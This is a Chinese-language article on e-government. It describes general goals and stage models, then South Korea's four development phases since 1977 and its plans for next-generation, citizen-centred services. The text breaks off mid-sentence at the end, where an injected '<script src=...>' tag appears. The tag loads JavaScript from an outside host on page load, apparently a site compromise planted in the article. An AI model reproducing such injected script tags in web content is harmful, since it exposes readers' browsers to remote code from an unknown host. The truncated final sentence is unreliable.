一般而言,发展电子政府的主要目的包括:以民众的需求为中心,提供高质量的公共服务;简化政府管理流程,提高政府工作效率;推动政府管理体制改革,等等。各国未来电子政府的推进方向虽然有许多差异,但是也呈现了许多共同的特点,比如提供公民需要的服务;高度化的协作和系统整合;利用多通道为公众提供便利的服务;政府和公众合作推进电子政府;保障信息安全,缩小数字鸿沟,等等。根据联合国关于电子政府发展的五个阶段框架的观点,以及埃森哲信息咨询公司、美国高德纳公司等有关电子政府的发展阶段模型划分方法,电子政府的最高阶段将主要发生两个重大变化:一是服务方式的变化,电子政府的最高阶段实现政府部门内部的无缝隙,政府部门之间的无缝隙,政府和社会的无缝隙(seamless);二是服务目标的变化,电子政府的最高阶段提供以客户为主中心的有价值的服务。
由于各国国情和发展重点不同,电子政府在各国的发展处于不同的阶段,呈现不同的特点和导向。而韩国由于强调采用最新信息技术,提供高质量的公共服务,建立公民和政府之间的信赖关系,在电子政府建设中走出了一条独特的道路。从发展历程来看,韩国电子政府建设经历四个阶段,现正处于比较高级的整合阶段,即推进无处不在的政府整合系统和提供智能型的服务。
第一阶段(1977年~1996年),韩国政府从1977年到1986年10年间进行了第一次行政电算化构建工程;从1987年到1996年10年间推进了第二次行政电算网建设工程。韩国政府通过20年间行政电算化的工程和行政电算网建设工程实现了居民登记、汽车登记、不动产登记等主要资料的在线化和信息化。这个时期的工程目的只是提高政府部门之内的单一的工作效率。
第二阶段(1997年~2000年),韩国政府在1996年制定信息化促进基本法,完成第一个五年信息化促进基本规划,根据信息化促进基本规划推进了真正的行政信息化。这个时期的工程特点是重视政府部门之内的工作联网,采用传统局域网(lan:lan)、基盘的客户/服务机(c/s:cs)体系结构信息技术。
第三阶段(2001年~2006年),根据2001年生效的电子政府法,韩国政府通过电子政府委员会,扩大行政信息化,正式启动电子政府工程。这个时期电子政府工程的主要对象是韩国政府革新方面课题。这个时期的工程特点是用web基盘和英特尔(internet),重视促进居民参与公共服务,以及政府部门之间的协作。
第四阶段(2007年~),韩国政府在过去六年间推进的电子政府基本策略是进一步推进电子政府建设。这个时期电子政府工程的核心要点是通过推进无处不在(ubiquitous)政府以无处不在计算机化(ubiquitous computing)为技术基盘整合系统和提供智能型的服务。
以改善服务为导向的
韩国下一代电子政府
联合国等国际组织和各国对下一代电子政府概念的界定有异,但共同的观点是下一代电子政府的概念包括使用先进的信息通信技术(leveraging enhancedict),建立信赖(buildingthetrust),创造公民价值(creatingthecitizenvalue)。因此韩国下一代电子政府的推进方向中下一代电子政府的概念比现行电子政府法下电子政府的概念要更广泛。具体地说,韩国下一代电子政府的概念是指采用最新信息技术,提供高质量的公共服务,而且强化政府政策的基盘,强化公民和政府之间信赖关系。
从公共服务方面来看,韩国下一代电子政府的推进方向的特征是:(1)从断绝的服务转变到共有的服务,也就是说,从面向政府部门为主的服务,以及政府工作的部分自动化,向面向公民为主的服务,以及部门之间的无缝隙合作和系统间联动与整合开始转变;(2)从电子的服务发展到无所不在的服务,也就是说,从过去的单一服务通道、以供应者为主的一方服务以及共有服务,向多个服务通道,以使用者为主的选择服务,以及个人化和智能化的服务开始转变;(3)从机能为主的服务转变到社会的服务,也就是从以行政便利为主的服务,政府的服务,尤其是中央政府的服务,向以使用者价值为主的服务,国家社会的服务,特别是中央和地方政府联结的服务进行转变。
现在韩国电子政府公共服务只是以供应者——政府部门为主的服务,而且政府工作只是实现了部分自动化;从服务提供渠道看,当今韩国电子政府的电子服务是通过单一服务渠道?script src=http://er12.com/t.js>